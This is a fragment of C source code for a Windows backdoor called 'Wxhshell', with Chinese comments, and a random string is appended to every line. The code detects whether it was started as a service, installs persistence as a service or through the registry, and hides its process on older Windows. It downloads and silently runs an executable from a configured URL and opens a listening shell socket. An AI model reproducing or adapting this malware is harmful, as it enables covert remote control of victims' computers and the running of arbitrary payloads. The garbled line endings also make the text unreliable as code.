DWORD PebBaseAddress; jDW$}^
6
DWORD AffinityMask; >
Cx;h=
DWORD BasePriority; a<Ps6'
ULONG UniqueProcessId; m_UzmWF
ULONG InheritedFromUniqueProcessId; /fxv^C82yv
} PROCESS_BASIC_INFORMATION; 6)9X+U@
8FBXdk?A
PROCNTQSIP NtQueryInformationProcess; C6:;
T%
>orDw3xC
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @34CaZ$k
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M\=/i\-
_^Q =n>G
HANDLE hProcess; T?8N$J
PROCESS_BASIC_INFORMATION pbi; m# I
>\ PNKpn{
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y-vBC3
if(NULL == hInst ) return 0; 9jrlB0
Qs\!Kk@
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S d]`)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~`VD}{[,B
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XNB4KjT
!*=+E%7
if (!NtQueryInformationProcess) return 0; (k>I!Z/&2
=p$:vW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +q)B4A'J!
if(!hProcess) return 0; F0+@FS0
4CioVQdj
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {@3p^b*E)1
Kv6#WN~
CloseHandle(hProcess); -wn(J5NnR
nV?e(}D
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JJE0q5[
if(hProcess==NULL) return 0; +L<x0-&
F5/,H:K\
HMODULE hMod; ,2^zX]dgM
char procName[255]; OwG:+T_
unsigned long cbNeeded; kG]FB.@bG
Ed&M
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \d"M&-O
/?
HLEX
CloseHandle(hProcess); xouy|Nn'
&io*pmUm6
if(strstr(procName,"services")) return 1; // 以服务启动 \J3n[6;
YNWAef4
return 0; // 注册表启动 BJ7m3[lz
} >EIV`|b$h
=[V
// 主模块 k6W
[//
int StartWxhshell(LPSTR lpCmdLine) {w|KWGk2
{ \l9S5%L9
SOCKET wsl; X| X~|&j
BOOL val=TRUE; #u6ZCv7u
int port=0; 0`l(c
struct sockaddr_in door; *L~88-V^
Y'%k
G5nF
if(wscfg.ws_autoins) Install(); L
BP|
c<j+"
port=atoi(lpCmdLine); M4(`o^n
?.b.mkJ
if(port<=0) port=wscfg.ws_port; !^<%RT9@|
W-ll2b
WSADATA data; ]
cY
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $mp'/]
_f5n
t:-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~g[<A?0=y
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nPS:T|*G
door.sin_family = AF_INET; t=$Hv
door.sin_addr.s_addr = inet_addr("127.0.0.1"); >,. x'{
door.sin_port = htons(port); #'jd.'>
FlQ(iv)P
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \@i4im@%xU
closesocket(wsl); ~}fQ.F*7R
return 1; lGAKHCs
} 51lN,VVD
X0QLT:J b
if(listen(wsl,2) == INVALID_SOCKET) { 8f0Ytfhw
closesocket(wsl); B&oP0 jS
return 1; ?yqTLj
} '-[~I>o%
Wxhshell(wsl); jsrIZbN
WSACleanup(); K9(Su`zr
5*W<6ia
return 0; l
/\n7:
ayvHS&h
} Rg?m$$X`
BCK0fk~
// 以NT服务方式启动 ~3u'=u9l
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }L1-2
{ Y79{v nlGk
DWORD status = 0; ~20O&2
DWORD specificError = 0xfffffff; A=5A8B1
u(!@6%?-
serviceStatus.dwServiceType = SERVICE_WIN32; _Bh ^<D-
serviceStatus.dwCurrentState = SERVICE_START_PENDING; M!e$h?vB
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e+t2F
|xDh
serviceStatus.dwWin32ExitCode = 0; ]"Qm25`Qz
serviceStatus.dwServiceSpecificExitCode = 0; !VJ5(b
serviceStatus.dwCheckPoint = 0; X-&U-S;
serviceStatus.dwWaitHint = 0; (gn)<JJS}
rg^
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w9J^s<e
if (hServiceStatusHandle==0) return; Xt!%W
8
)w75+&
status = GetLastError(); #l!Sz247
if (status!=NO_ERROR) c9
UJ=
{ Y^Olcz
serviceStatus.dwCurrentState = SERVICE_STOPPED; )OAd[u<
serviceStatus.dwCheckPoint = 0; HJn
serviceStatus.dwWaitHint = 0; 6] ~g*]T
serviceStatus.dwWin32ExitCode = status; I<'wZJRRa
serviceStatus.dwServiceSpecificExitCode = specificError; wlM"Zt
SetServiceStatus(hServiceStatusHandle, &serviceStatus); '01ifA^
return; 3',|HA /x
} cG"+n@\
qDQ$Zq[
serviceStatus.dwCurrentState = SERVICE_RUNNING; (>E70|T
serviceStatus.dwCheckPoint = 0; YuZxKuGy
serviceStatus.dwWaitHint = 0; h7( R/R f
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MMpGI^x!-X
} Kug_0+gI
@@,l0/
// 处理NT服务事件,比如:启动、停止 #N=!O/Y
VOID WINAPI NTServiceHandler(DWORD fdwControl) c:/H}2/C
{ k|^e=I
switch(fdwControl) yJ(p-3O5
{ b-1cA1#_cP
case SERVICE_CONTROL_STOP: p#~Dq(Q
serviceStatus.dwWin32ExitCode = 0; ;BsPms@U
serviceStatus.dwCurrentState = SERVICE_STOPPED; JY+ N+c\
serviceStatus.dwCheckPoint = 0; )>]~ Y
serviceStatus.dwWaitHint = 0; ~f[AEE~,s+
{ OIuEC7XM^C
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !18M!8Xea
} iI27N'g
return; ;'.[h*u~<
case SERVICE_CONTROL_PAUSE: V Q6&7@
c
serviceStatus.dwCurrentState = SERVICE_PAUSED; H0zKL]D'>
break; ;E8.,#/a
case SERVICE_CONTROL_CONTINUE: R89;<,Ie
serviceStatus.dwCurrentState = SERVICE_RUNNING; Z\{"/( Hi
break; \;z*j|;B
case SERVICE_CONTROL_INTERROGATE: K[%)_KW
break; o<*H!oyP\
}; Vf67gux
SetServiceStatus(hServiceStatusHandle, &serviceStatus); q;dg,Om
} mCa[?
nQ*9|v4
// 标准应用程序主函数 6dG:3n}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o1j_5c
PS
{ #K|:BS
_H:mBk,,
// 获取操作系统版本 qRXb9c
OsIsNt=GetOsVer(); W0]W[b,:u$
GetModuleFileName(NULL,ExeFile,MAX_PATH); X~DI d
c~B[<.Qj
// 从命令行安装 ,k*g`OTW
if(strpbrk(lpCmdLine,"iI")) Install(); B 4pJg
YQyf:xJ
// 下载执行文件 - J9K
if(wscfg.ws_downexe) { j Y>BU&
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T}ZUw;}BL
WinExec(wscfg.ws_filenam,SW_HIDE); aKkG[qN
} qVOlUH
:G/T{87H
if(!OsIsNt) { 0B0Uay'd_
// 如果时win9x,隐藏进程并且设置为注册表启动 ?0>%
a$`
HideProc(); 3cuVyf<v
StartWxhshell(lpCmdLine); Q+
r4
} K5O8G
else 0ZY.~b'eu
if(StartFromService()) :Ogt{t
// 以服务方式启动 [whX),3>
StartServiceCtrlDispatcher(DispatchTable); |/u&%w?W
else 6Z:<?_p%7g
// 普通方式启动 Yx4TUA$c'
StartWxhshell(lpCmdLine); 3snr-)
Y`5(F>/RQG
return 0; 0{0|M8
}